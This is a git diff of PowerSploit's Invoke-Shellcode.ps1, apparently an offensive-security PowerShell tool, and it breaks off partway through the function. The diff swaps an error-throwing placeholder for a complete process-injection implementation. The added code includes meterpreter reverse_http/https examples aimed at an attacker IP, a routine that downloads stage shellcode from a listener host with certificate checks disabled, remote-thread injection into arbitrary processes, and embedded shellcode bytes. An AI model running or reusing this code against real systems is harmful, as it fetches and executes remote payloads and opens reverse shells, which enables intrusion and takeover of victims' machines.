diff options
Diffstat (limited to 'CodeExecution/Invoke-Shellcode.ps1')
| -rw-r--r-- | CodeExecution/Invoke-Shellcode.ps1 | 727 | 
1 files changed, 718 insertions, 9 deletions
| diff --git a/CodeExecution/Invoke-Shellcode.ps1 b/CodeExecution/Invoke-Shellcode.ps1 index 6ca6def..87e2e84 100644 --- a/CodeExecution/Invoke-Shellcode.ps1 +++ b/CodeExecution/Invoke-Shellcode.ps1 @@ -1,12 +1,155 @@ -# The actual Invoke-Shellcode has moved to Invoke--Shellcode.ps1.
 -# This was done to make a point that you have no security sense
 -# if you think it's okay to blindly download/exec code directly
 -# from a GitHub repo you don't control. This will undoubedtly break
 -# many scripts that have this path hardcoded. If you don't like it,
 -# fork PowerSploit and host it yourself.
 -
  function Invoke-Shellcode
  {
 +<#
 +.SYNOPSIS
 +
 +Inject shellcode into the process ID of your choosing or within the context of the running PowerShell process.
 +
 +PowerSploit Function: Invoke-Shellcode
 +Author: Matthew Graeber (@mattifestation)
 +License: BSD 3-Clause
 +Required Dependencies: None
 +Optional Dependencies: None
 + 
 +.DESCRIPTION
 +
 +Portions of this project was based upon syringe.c v1.2 written by Spencer McIntyre
 +
 +PowerShell expects shellcode to be in the form 0xXX,0xXX,0xXX. To generate your shellcode in this form, you can use this command from within Backtrack (Thanks, Matt and g0tm1lk):
 +
 +msfpayload windows/exec CMD="cmd /k calc" EXITFUNC=thread C | sed '1,6d;s/[";]//g;s/\\/,0/g' | tr -d '\n' | cut -c2- 
 +
 +Make sure to specify 'thread' for your exit process. Also, don't bother encoding your shellcode. It's entirely unnecessary.
 + 
 +.PARAMETER ProcessID
 +
 +Process ID of the process you want to inject shellcode into.
 +
 +.PARAMETER Shellcode
 +
 +Specifies an optional shellcode passed in as a byte array
 +
 +.PARAMETER ListMetasploitPayloads
 +
 +Lists all of the available Metasploit payloads that Invoke-Shellcode supports
 +
 +.PARAMETER Lhost
 +
 +Specifies the IP address of the attack machine waiting to receive the reverse shell
 +
 +.PARAMETER Lport
 + 
 +Specifies the port of the attack machine waiting to receive the reverse shell
 +
 +.PARAMETER Payload
 +
 +Specifies the metasploit payload to use. Currently, only 'windows/meterpreter/reverse_http' and 'windows/meterpreter/reverse_https' payloads are supported.
 +
 +.PARAMETER UserAgent
 +
 +Optionally specifies the user agent to use when using meterpreter http or https payloads
 +
 +.PARAMETER Proxy
 +
 +Optionally specifies whether to utilize the proxy settings on the machine.
 +
 +.PARAMETER Legacy
 +
 +Optionally specifies whether to utilize the older meterpreter handler "INITM". This will likely be removed in the future. 
 +
 +.PARAMETER Force
 +
 +Injects shellcode without prompting for confirmation. By default, Invoke-Shellcode prompts for confirmation before performing any malicious act.
 +
 +.EXAMPLE
 +
 +C:\PS> Invoke-Shellcode -ProcessId 4274
 +
 +Description
 +-----------
 +Inject shellcode into process ID 4274.
 +
 +.EXAMPLE
 +
 +C:\PS> Invoke-Shellcode
 +
 +Description
 +-----------
 +Inject shellcode into the running instance of PowerShell.
 +
 +.EXAMPLE
 +
 +C:\PS> Start-Process C:\Windows\SysWOW64\notepad.exe -WindowStyle Hidden
 +C:\PS> $Proc = Get-Process notepad
 +C:\PS> Invoke-Shellcode -ProcessId $Proc.Id -Payload windows/meterpreter/reverse_https -Lhost 192.168.30.129 -Lport 443 -Verbose
 +
 +VERBOSE: Requesting meterpreter payload from https://192.168.30.129:443/INITM
 +VERBOSE: Injecting shellcode into PID: 4004
 +VERBOSE: Injecting into a Wow64 process.
 +VERBOSE: Using 32-bit shellcode.
 +VERBOSE: Shellcode memory reserved at 0x03BE0000
 +VERBOSE: Emitting 32-bit assembly call stub.
 +VERBOSE: Thread call stub memory reserved at 0x001B0000
 +VERBOSE: Shellcode injection complete!
 +
 +Description
 +-----------
 +Establishes a reverse https meterpreter payload from within the hidden notepad process. A multi-handler was set up with the following options:
 +
 +Payload options (windows/meterpreter/reverse_https):
 +
 +Name      Current Setting  Required  Description
 +----      ---------------  --------  -----------
 +EXITFUNC  thread           yes       Exit technique: seh, thread, process, none
 +LHOST     192.168.30.129   yes       The local listener hostname
 +LPORT     443              yes       The local listener port
 +
 +.EXAMPLE
 +
 +C:\PS> Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.30.129 -Lport 80
 +
 +Description
 +-----------
 +Establishes a reverse http meterpreter payload from within the running PwerShell process. A multi-handler was set up with the following options:
 +
 +Payload options (windows/meterpreter/reverse_http):
 +
 +Name      Current Setting  Required  Description
 +----      ---------------  --------  -----------
 +EXITFUNC  thread           yes       Exit technique: seh, thread, process, none
 +LHOST     192.168.30.129   yes       The local listener hostname
 +LPORT     80               yes       The local listener port
 +
 +.EXAMPLE
 +
 +C:\PS> Invoke-Shellcode -Shellcode @(0x90,0x90,0xC3)
 +    
 +Description
 +-----------
 +Overrides the shellcode included in the script with custom shellcode - 0x90 (NOP), 0x90 (NOP), 0xC3 (RET)
 +Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit!
 +    
 +.EXAMPLE
 +
 +C:\PS> Invoke-Shellcode -ListMetasploitPayloads
 +    
 +Payloads
 +--------
 +windows/meterpreter/reverse_http
 +windows/meterpreter/reverse_https
 +
 +.NOTES
 +
 +Use the '-Verbose' option to print detailed information.
 +
 +Place your generated shellcode in $Shellcode32 and $Shellcode64 variables or pass it in as a byte array via the '-Shellcode' parameter
 +
 +Big thanks to Oisin (x0n) Grehan (@oising) for answering all my obscure questions at the drop of a hat - http://www.nivot.org/
 +
 +.LINK
 +
 +http://www.exploit-monday.com
 +#>
  [CmdletBinding( DefaultParameterSetName = 'RunLocal', SupportsShouldProcess = $True , ConfirmImpact = 'High')] Param (
      [ValidateNotNullOrEmpty()]
 @@ -44,11 +187,577 @@ function Invoke-Shellcode      [Parameter( ParameterSetName = 'Metasploit' )]
      [ValidateNotNull()]
      [String]
 -    $UserAgent = 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
 +    $UserAgent = (Get-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings').'User Agent',
 +
 +    [Parameter( ParameterSetName = 'Metasploit' )]
 +    [ValidateNotNull()]
 +    [Switch]
 +    $Legacy = $False,
 +
 +    [Parameter( ParameterSetName = 'Metasploit' )]
 +    [ValidateNotNull()]
 +    [Switch]
 +    $Proxy = $False,
      [Switch]
      $Force = $False
  )
 -throw 'Something terrible may have just happened and you have no idea what because you just arbitrarily download crap from the Internet and execute it.'
 +    Set-StrictMode -Version 2.0
 +    
 +    # List all available Metasploit payloads and exit the function
 +    if ($PsCmdlet.ParameterSetName -eq 'ListPayloads')
 +    {
 +        $AvailablePayloads = (Get-Command Invoke-Shellcode).Parameters['Payload'].Attributes |
 +            Where-Object {$_.TypeId -eq [System.Management.Automation.ValidateSetAttribute]}
 +    
 +        foreach ($Payload in $AvailablePayloads.ValidValues)
 +        {
 +            New-Object PSObject -Property @{ Payloads = $Payload }
 +        }
 +        
 +        Return
 +    }
 +
 +    if ( $PSBoundParameters['ProcessID'] )
 +    {
 +        # Ensure a valid process ID was provided
 +        # This could have been validated via 'ValidateScript' but the error generated with Get-Process is more descriptive
 +        Get-Process -Id $ProcessID -ErrorAction Stop | Out-Null
 +    }
 +    
 +    function Local:Get-DelegateType
 +    {
 +        Param
 +        (
 +            [OutputType([Type])]
 +            
 +            [Parameter( Position = 0)]
 +            [Type[]]
 +            $Parameters = (New-Object Type[](0)),
 +            
 +            [Parameter( Position = 1 )]
 +            [Type]
 +            $ReturnType = [Void]
 +        )
 +
 +        $Domain = [AppDomain]::CurrentDomain
 +        $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
 +        $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
 +        $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
 +        $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
 +        $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
 +        $ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
 +        $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
 +        $MethodBuilder.SetImplementationFlags('Runtime, Managed')
 +        
 +        Write-Output $TypeBuilder.CreateType()
 +    }
 +
 +    function Local:Get-ProcAddress
 +    {
 +        Param
 +        (
 +            [OutputType([IntPtr])]
 +        
 +            [Parameter( Position = 0, Mandatory = $True )]
 +            [String]
 +            $Module,
 +            
 +            [Parameter( Position = 1, Mandatory = $True )]
 +            [String]
 +            $Procedure
 +        )
 +
 +        # Get a reference to System.dll in the GAC
 +        $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
 +            Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
 +        $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
 +        # Get a reference to the GetModuleHandle and GetProcAddress methods
 +        $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
 +        $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
 +        # Get a handle to the module specified
 +        $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
 +        $tmpPtr = New-Object IntPtr
 +        $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
 +        
 +        # Return the address of the function
 +        Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
 +    }
 +
 +    # Emits a shellcode stub that when injected will create a thread and pass execution to the main shellcode payload
 +    function Local:Emit-CallThreadStub ([IntPtr] $BaseAddr, [IntPtr] $ExitThreadAddr, [Int] $Architecture)
 +    {
 +        $IntSizePtr = $Architecture / 8
 +
 +        function Local:ConvertTo-LittleEndian ([IntPtr] $Address)
 +        {
 +            $LittleEndianByteArray = New-Object Byte[](0)
 +            $Address.ToString("X$($IntSizePtr*2)") -split '([A-F0-9]{2})' | ForEach-Object { if ($_) { $LittleEndianByteArray += [Byte] ('0x{0}' -f $_) } }
 +            [System.Array]::Reverse($LittleEndianByteArray)
 +            
 +            Write-Output $LittleEndianByteArray
 +        }
 +        
 +        $CallStub = New-Object Byte[](0)
 +        
 +        if ($IntSizePtr -eq 8)
 +        {
 +            [Byte[]] $CallStub = 0x48,0xB8                      # MOV   QWORD RAX, &shellcode
 +            $CallStub += ConvertTo-LittleEndian $BaseAddr       # &shellcode
 +            $CallStub += 0xFF,0xD0                              # CALL  RAX
 +            $CallStub += 0x6A,0x00                              # PUSH  BYTE 0
 +            $CallStub += 0x48,0xB8                              # MOV   QWORD RAX, &ExitThread
 +            $CallStub += ConvertTo-LittleEndian $ExitThreadAddr # &ExitThread
 +            $CallStub += 0xFF,0xD0                              # CALL  RAX
 +        }
 +        else
 +        {
 +            [Byte[]] $CallStub = 0xB8                           # MOV   DWORD EAX, &shellcode
 +            $CallStub += ConvertTo-LittleEndian $BaseAddr       # &shellcode
 +            $CallStub += 0xFF,0xD0                              # CALL  EAX
 +            $CallStub += 0x6A,0x00                              # PUSH  BYTE 0
 +            $CallStub += 0xB8                                   # MOV   DWORD EAX, &ExitThread
 +            $CallStub += ConvertTo-LittleEndian $ExitThreadAddr # &ExitThread
 +            $CallStub += 0xFF,0xD0                              # CALL  EAX
 +        }
 +        
 +        Write-Output $CallStub
 +    }
 +
 +    function Local:Inject-RemoteShellcode ([Int] $ProcessID)
 +    {
 +        # Open a handle to the process you want to inject into
 +        $hProcess = $OpenProcess.Invoke(0x001F0FFF, $false, $ProcessID) # ProcessAccessFlags.All (0x001F0FFF)
 +        
 +        if (!$hProcess)
 +        {
 +            Throw "Unable to open a process handle for PID: $ProcessID"
 +        }
 +
 +        $IsWow64 = $false
 +
 +        if ($64bitCPU) # Only perform theses checks if CPU is 64-bit
 +        {
 +            # Determine is the process specified is 32 or 64 bit
 +            $IsWow64Process.Invoke($hProcess, [Ref] $IsWow64) | Out-Null
 +            
 +            if ((!$IsWow64) -and $PowerShell32bit)
 +            {
 +                Throw 'Unable to inject 64-bit shellcode from within 32-bit Powershell. Use the 64-bit version of Powershell if you want this to work.'
 +            }
 +            elseif ($IsWow64) # 32-bit Wow64 process
 +            {
 +                if ($Shellcode32.Length -eq 0)
 +                {
 +                    Throw 'No shellcode was placed in the $Shellcode32 variable!'
 +                }
 +                
 +                $Shellcode = $Shellcode32
 +                Write-Verbose 'Injecting into a Wow64 process.'
 +                Write-Verbose 'Using 32-bit shellcode.'
 +            }
 +            else # 64-bit process
 +            {
 +                if ($Shellcode64.Length -eq 0)
 +                {
 +                    Throw 'No shellcode was placed in the $Shellcode64 variable!'
 +                }
 +                
 +                $Shellcode = $Shellcode64
 +                Write-Verbose 'Using 64-bit shellcode.'
 +            }
 +        }
 +        else # 32-bit CPU
 +        {
 +            if ($Shellcode32.Length -eq 0)
 +            {
 +                Throw 'No shellcode was placed in the $Shellcode32 variable!'
 +            }
 +            
 +            $Shellcode = $Shellcode32
 +            Write-Verbose 'Using 32-bit shellcode.'
 +        }
 +
 +        # Reserve and commit enough memory in remote process to hold the shellcode
 +        $RemoteMemAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)
 +        
 +        if (!$RemoteMemAddr)
 +        {
 +            Throw "Unable to allocate shellcode memory in PID: $ProcessID"
 +        }
 +        
 +        Write-Verbose "Shellcode memory reserved at 0x$($RemoteMemAddr.ToString("X$([IntPtr]::Size*2)"))"
 +
 +        # Copy shellcode into the previously allocated memory
 +        $WriteProcessMemory.Invoke($hProcess, $RemoteMemAddr, $Shellcode, $Shellcode.Length, [Ref] 0) | Out-Null
 +
 +        # Get address of ExitThread function
 +        $ExitThreadAddr = Get-ProcAddress kernel32.dll ExitThread
 +
 +        if ($IsWow64)
 +        {
 +            # Build 32-bit inline assembly stub to call the shellcode upon creation of a remote thread.
 +            $CallStub = Emit-CallThreadStub $RemoteMemAddr $ExitThreadAddr 32
 +            
 +            Write-Verbose 'Emitting 32-bit assembly call stub.'
 +        }
 +        else
 +        {
 +            # Build 64-bit inline assembly stub to call the shellcode upon creation of a remote thread.
 +            $CallStub = Emit-CallThreadStub $RemoteMemAddr $ExitThreadAddr 64
 +            
 +            Write-Verbose 'Emitting 64-bit assembly call stub.'
 +        }
 +
 +        # Allocate inline assembly stub
 +        $RemoteStubAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $CallStub.Length, 0x3000, 0x40) # (Reserve|Commit, RWX)
 +        
 +        if (!$RemoteStubAddr)
 +        {
 +            Throw "Unable to allocate thread call stub memory in PID: $ProcessID"
 +        }
 +        
 +        Write-Verbose "Thread call stub memory reserved at 0x$($RemoteStubAddr.ToString("X$([IntPtr]::Size*2)"))"
 +
 +        # Write 32-bit assembly stub to remote process memory space
 +        $WriteProcessMemory.Invoke($hProcess, $RemoteStubAddr, $CallStub, $CallStub.Length, [Ref] 0) | Out-Null
 +
 +        # Execute shellcode as a remote thread
 +        $ThreadHandle = $CreateRemoteThread.Invoke($hProcess, [IntPtr]::Zero, 0, $RemoteStubAddr, $RemoteMemAddr, 0, [IntPtr]::Zero)
 +        
 +        if (!$ThreadHandle)
 +        {
 +            Throw "Unable to launch remote thread in PID: $ProcessID"
 +        }
 +
 +        # Close process handle
 +        $CloseHandle.Invoke($hProcess) | Out-Null
 +
 +        Write-Verbose 'Shellcode injection complete!'
 +    }
 +
 +    function Local:Inject-LocalShellcode
 +    {
 +        if ($PowerShell32bit) {
 +            if ($Shellcode32.Length -eq 0)
 +            {
 +                Throw 'No shellcode was placed in the $Shellcode32 variable!'
 +                return
 +            }
 +            
 +            $Shellcode = $Shellcode32
 +            Write-Verbose 'Using 32-bit shellcode.'
 +        }
 +        else
 +        {
 +            if ($Shellcode64.Length -eq 0)
 +            {
 +                Throw 'No shellcode was placed in the $Shellcode64 variable!'
 +                return
 +            }
 +            
 +            $Shellcode = $Shellcode64
 +            Write-Verbose 'Using 64-bit shellcode.'
 +        }
 +    
 +        # Allocate RWX memory for the shellcode
 +        $BaseAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)
 +        if (!$BaseAddress)
 +        {
 +            Throw "Unable to allocate shellcode memory in PID: $ProcessID"
 +        }
 +        
 +        Write-Verbose "Shellcode memory reserved at 0x$($BaseAddress.ToString("X$([IntPtr]::Size*2)"))"
 +
 +        # Copy shellcode to RWX buffer
 +        [System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $BaseAddress, $Shellcode.Length)
 +        
 +        # Get address of ExitThread function
 +        $ExitThreadAddr = Get-ProcAddress kernel32.dll ExitThread
 +        
 +        if ($PowerShell32bit)
 +        {
 +            $CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 32
 +            
 +            Write-Verbose 'Emitting 32-bit assembly call stub.'
 +        }
 +        else
 +        {
 +            $CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 64
 +            
 +            Write-Verbose 'Emitting 64-bit assembly call stub.'
 +        }
 +
 +        # Allocate RWX memory for the thread call stub
 +        $CallStubAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $CallStub.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)
 +        if (!$CallStubAddress)
 +        {
 +            Throw "Unable to allocate thread call stub."
 +        }
 +        
 +        Write-Verbose "Thread call stub memory reserved at 0x$($CallStubAddress.ToString("X$([IntPtr]::Size*2)"))"
 +
 +        # Copy call stub to RWX buffer
 +        [System.Runtime.InteropServices.Marshal]::Copy($CallStub, 0, $CallStubAddress, $CallStub.Length)
 +
 +        # Launch shellcode in it's own thread
 +        $ThreadHandle = $CreateThread.Invoke([IntPtr]::Zero, 0, $CallStubAddress, $BaseAddress, 0, [IntPtr]::Zero)
 +        if (!$ThreadHandle)
 +        {
 +            Throw "Unable to launch thread."
 +        }
 +
 +        # Wait for shellcode thread to terminate
 +        $WaitForSingleObject.Invoke($ThreadHandle, 0xFFFFFFFF) | Out-Null
 +        
 +        $VirtualFree.Invoke($CallStubAddress, $CallStub.Length + 1, 0x8000) | Out-Null # MEM_RELEASE (0x8000)
 +        $VirtualFree.Invoke($BaseAddress, $Shellcode.Length + 1, 0x8000) | Out-Null # MEM_RELEASE (0x8000)
 +
 +        Write-Verbose 'Shellcode injection complete!'
 +    }
 +
 +    # A valid pointer to IsWow64Process will be returned if CPU is 64-bit
 +    $IsWow64ProcessAddr = Get-ProcAddress kernel32.dll IsWow64Process
 +    if ($IsWow64ProcessAddr)
 +    {
 +    	$IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool])
 +    	$IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate)
 +        
 +        $64bitCPU = $true
 +    }
 +    else
 +    {
 +    	$64bitCPU = $false
 +    }
 +
 +    if ([IntPtr]::Size -eq 4)
 +    {
 +        $PowerShell32bit = $true
 +    }
 +    else
 +    {
 +        $PowerShell32bit = $false
 +    }
 +
 +    if ($PsCmdlet.ParameterSetName -eq 'Metasploit')
 +    {
 +        if (!$PowerShell32bit) {
 +            # The currently supported Metasploit payloads are 32-bit. This block of code implements the logic to execute this script from 32-bit PowerShell
 +            # Get this script's contents and pass it to 32-bit powershell with the same parameters passed to this function
 +
 +            # Pull out just the content of the this script's invocation.
 +            $RootInvocation = $MyInvocation.Line
 +
 +            $Response = $True
 +        
 +            if ( $Force -or ( $Response = $psCmdlet.ShouldContinue( "Do you want to launch the payload from x86 Powershell?",
 +                   "Attempt to execute 32-bit shellcode from 64-bit Powershell. Note: This process takes about one minute. Be patient! You will also see some artifacts of the script loading in the other process." ) ) ) { }
 +        
 +            if ( !$Response )
 +            {
 +                # User opted not to launch the 32-bit payload from 32-bit PowerShell. Exit function
 +                Return
 +            }
 +
 +            # Since the shellcode will run in a noninteractive instance of PowerShell, make sure the -Force switch is included so that there is no warning prompt.
 +            if ($MyInvocation.BoundParameters['Force'])
 +            {
 +                Write-Verbose "Executing the following from 32-bit PowerShell: $RootInvocation"
 +                $Command = "function $($MyInvocation.InvocationName) {`n" + $MyInvocation.MyCommand.ScriptBlock + "`n}`n$($RootInvocation)`n`n"
 +            }
 +            else
 +            {
 +                Write-Verbose "Executing the following from 32-bit PowerShell: $RootInvocation -Force"
 +                $Command = "function $($MyInvocation.InvocationName) {`n" + $MyInvocation.MyCommand.ScriptBlock + "`n}`n$($RootInvocation) -Force`n`n"
 +            }
 +
 +            $CommandBytes = [System.Text.Encoding]::Ascii.GetBytes($Command)
 +            $EncodedCommand = [Convert]::ToBase64String($CommandBytes)
 +
 +            $Execute = '$Command' + " | $Env:windir\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoProfile -Command -"
 +            Invoke-Expression -Command $Execute | Out-Null
 +
 +            # Exit the script since the shellcode will be running from x86 PowerShell
 +            Return
 +        }
 +        
 +        $Response = $True
 +        
 +        if ( $Force -or ( $Response = $psCmdlet.ShouldContinue( "Do you know what you're doing?",
 +               "About to download Metasploit payload '$($Payload)' LHOST=$($Lhost), LPORT=$($Lport)" ) ) ) { }
 +        
 +        if ( !$Response )
 +        {
 +            # User opted not to carry out download of Metasploit payload. Exit function
 +            Return
 +        }
 +        
 +        switch ($Payload)
 +        {
 +            'windows/meterpreter/reverse_http'
 +            {
 +                $SSL = ''
 +            }
 +            
 +            'windows/meterpreter/reverse_https'
 +            {
 +                $SSL = 's'
 +                # Accept invalid certificates
 +                [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$True}
 +            }
 +        }
 +        
 +        if ($Legacy) 
 +        {
 +            # Old Meterpreter handler expects 'INITM' in the URI in order to initiate stage 0
 +            $Request = "http$($SSL)://$($Lhost):$($Lport)/INITM"
 +            Write-Verbose "Requesting meterpreter payload from $Request"
 +        } else {
 +
 +            # Generate a URI that passes the test
 +            $CharArray = 48..57 + 65..90 + 97..122 | ForEach-Object {[Char]$_}
 +            $SumTest = $False
 +
 +            while ($SumTest -eq $False) 
 +            {
 +                $GeneratedUri = $CharArray | Get-Random -Count 4
 +                $SumTest = (([int[]] $GeneratedUri | Measure-Object -Sum).Sum % 0x100 -eq 92)
 +            }
 +
 +            $RequestUri = -join $GeneratedUri
 +
 +            $Request = "http$($SSL)://$($Lhost):$($Lport)/$($RequestUri)" 
 +        }
 +           
 +        $Uri = New-Object Uri($Request)
 +        $WebClient = New-Object System.Net.WebClient
 +        $WebClient.Headers.Add('user-agent', "$UserAgent")
 +        
 +        if ($Proxy)
 +        {
 +            $WebProxyObject = New-Object System.Net.WebProxy
 +            $ProxyAddress = (Get-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings').ProxyServer
 +            
 +            # if there is no proxy set, then continue without it
 +            if ($ProxyAddress) 
 +            {
 +            
 +                $WebProxyObject.Address = $ProxyAddress
 +                $WebProxyObject.UseDefaultCredentials = $True
 +                $WebClientObject.Proxy = $WebProxyObject
 +            }
 +        }
 +
 +        try
 +        {
 +            [Byte[]] $Shellcode32 = $WebClient.DownloadData($Uri)
 +        }
 +        catch
 +        {
 +            Throw "$($Error[0].Exception.InnerException.InnerException.Message)"
 +        }
 +        [Byte[]] $Shellcode64 = $Shellcode32
 +
 +    }
 +    elseif ($PSBoundParameters['Shellcode'])
 +    {
 +        # Users passing in shellcode  through the '-Shellcode' parameter are responsible for ensuring it targets
 +        # the correct architechture - x86 vs. x64. This script has no way to validate what you provide it.
 +        [Byte[]] $Shellcode32 = $Shellcode
 +        [Byte[]] $Shellcode64 = $Shellcode32
 +    }
 +    else
 +    {
 +        # Pop a calc... or whatever shellcode you decide to place in here
 +        # I sincerely hope you trust that this shellcode actually pops a calc...
 +        # Insert your shellcode here in the for 0xXX,0xXX,...
 +        # 32-bit payload
 +        # msfpayload windows/exec CMD="cmd /k calc" EXITFUNC=thread
 +        [Byte[]] $Shellcode32 = @(0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,
 +                                  0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,
 +                                  0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,
 +                                  0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,
 +                                  0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,
 +                                  0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,
 +                                  0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,
 +                                  0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,
 +                                  0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,
 +                                  0x6a,0x01,0x8d,0x85,0xb9,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,0x87,0xff,0xd5,
 +                                  0xbb,0xe0,0x1d,0x2a,0x0a,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x3c,0x06,0x7c,0x0a,
 +                                  0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x53,0xff,0xd5,0x63,
 +                                  0x61,0x6c,0x63,0x00)
 +
 +        # 64-bit payload
 +        # msfpayload windows/x64/exec CMD="calc" EXITFUNC=thread
 +        [Byte[]] $Shellcode64 = @(0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,
 +                                  0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,
 +                                  0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,
 +                                  0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,
 +                                  0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88,
 +                                  0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44,
 +                                  0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,
 +                                  0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,
 +                                  0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,
 +                                  0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,
 +                                  0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,
 +                                  0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,
 +                                  0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,
 +                                  0x00,0x00,0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,
 +                                  0x6f,0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,
 +                                  0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,
 +                                  0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,0x00)
 +    }
 +
 +    if ( $PSBoundParameters['ProcessID'] )
 +    {
 +        # Inject shellcode into the specified process ID
 +        $OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess
 +        $OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr])
 +        $OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate)
 +        $VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx
 +        $VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Uint32], [UInt32], [UInt32]) ([IntPtr])
 +        $VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate)
